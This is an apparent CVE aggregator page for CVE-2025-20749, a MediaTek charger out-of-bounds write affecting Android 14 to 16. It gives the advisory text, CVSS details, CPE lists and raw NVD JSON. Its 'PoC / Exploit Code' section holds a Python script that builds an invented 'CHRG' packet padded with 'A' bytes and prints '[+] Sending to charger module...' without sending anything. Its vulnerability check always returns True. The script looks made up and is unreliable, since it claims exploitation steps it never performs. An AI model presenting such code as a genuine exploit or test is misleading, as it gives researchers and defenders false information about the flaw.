Security Vulnerability Report
中文
CVE-2025-20749 CVSS 6.7 MEDIUM

CVE-2025-20749

Published: 2025-11-04 07:15:51
Last Modified: 2025-11-05 17:10:56

Description

In charger, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS09915493; Issue ID: MSV-3800.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek Charger Component (固件版本 < ALPS09915493补丁版本)
使用MediaTek芯片的Android设备 (未更新2025年11月安全补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20749 PoC - MediaTek Charger Out of Bounds Write # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires specific MediaTek firmware and device access import struct def trigger_charger_oob_write(): """ Trigger the out of bounds write in MediaTek charger component This PoC demonstrates the vulnerability pattern for research purposes """ # Prepare malicious charger data that exceeds buffer boundaries # The vulnerability occurs due to missing bounds check in charger module # Malicious data structure that triggers OOB write charger_packet = bytearray() # Header charger_packet += b'CHRG' charger_packet += struct.pack('<I', 0x100) # Size # Trigger condition - oversized data without bounds check # This would cause write beyond allocated buffer in vulnerable versions payload_size = 0x200 # Exceeds expected buffer size charger_packet += b'A' * payload_size print(f"[+] Prepared malicious charger packet: {len(charger_packet)} bytes") print(f"[+] Payload size: {payload_size} bytes (exceeds buffer boundary)") print(f"[+] Sending to charger module...") # In actual exploitation, this would be sent via: # - Kernel module interface # - Debug interface (if available) # - Specific charging protocol handler return charger_packet def check_vulnerability(): """ Check if device is vulnerable to CVE-2025-20749 """ print("[*] Checking for CVE-2025-20749 vulnerability...") print("[*] Target: MediaTek Charger Component") print("[*] Issue: Missing bounds check leading to OOB write") print("[*] CVSS: 6.7 (Medium)") # In real scenario, would check: # 1. Device is using vulnerable MediaTek firmware # 2. Charger module version is affected # 3. Attacker has System privileges return True if __name__ == "__main__": trigger_charger_oob_write() check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20749", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:51.240", "lastModified": "2025-11-05T17:10:55.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In charger, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS09915493; Issue ID: MSV-3800."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B9B0D82-82C1-4A77-A016-329B99C45F49"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6983:-:*:*:*:*:*:*:*", "matchCriteriaId": "EB6B9A26-F8A1-4322-AA4E-CDF8F7D99000"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8169:-:*:*:*:*:*:*:*", "matchCriteriaId": "E5375050-4568-4919-BFE3-A72E1C7E65A2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8188:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA3D4A45-38EE-4125-AE67-89D1C707F95A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8195:-:*:*:*:*:*:*:*", "matchCriteriaId": "ED210E64-6CE7-42B1-849E-68C0E22521F6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:*", "matchCriteriaId": "FB0C4D80-28BC-4C4D-B522-AD9EC5222A2E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8781:-:*:*:*:*:*:*:*", "matchCriteriaId": "533284E5-C3AF-48D3-A287-993099DB2E41"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8796:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE933AD9-3A6F-421B-8AB3-C45F8DEA9548"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}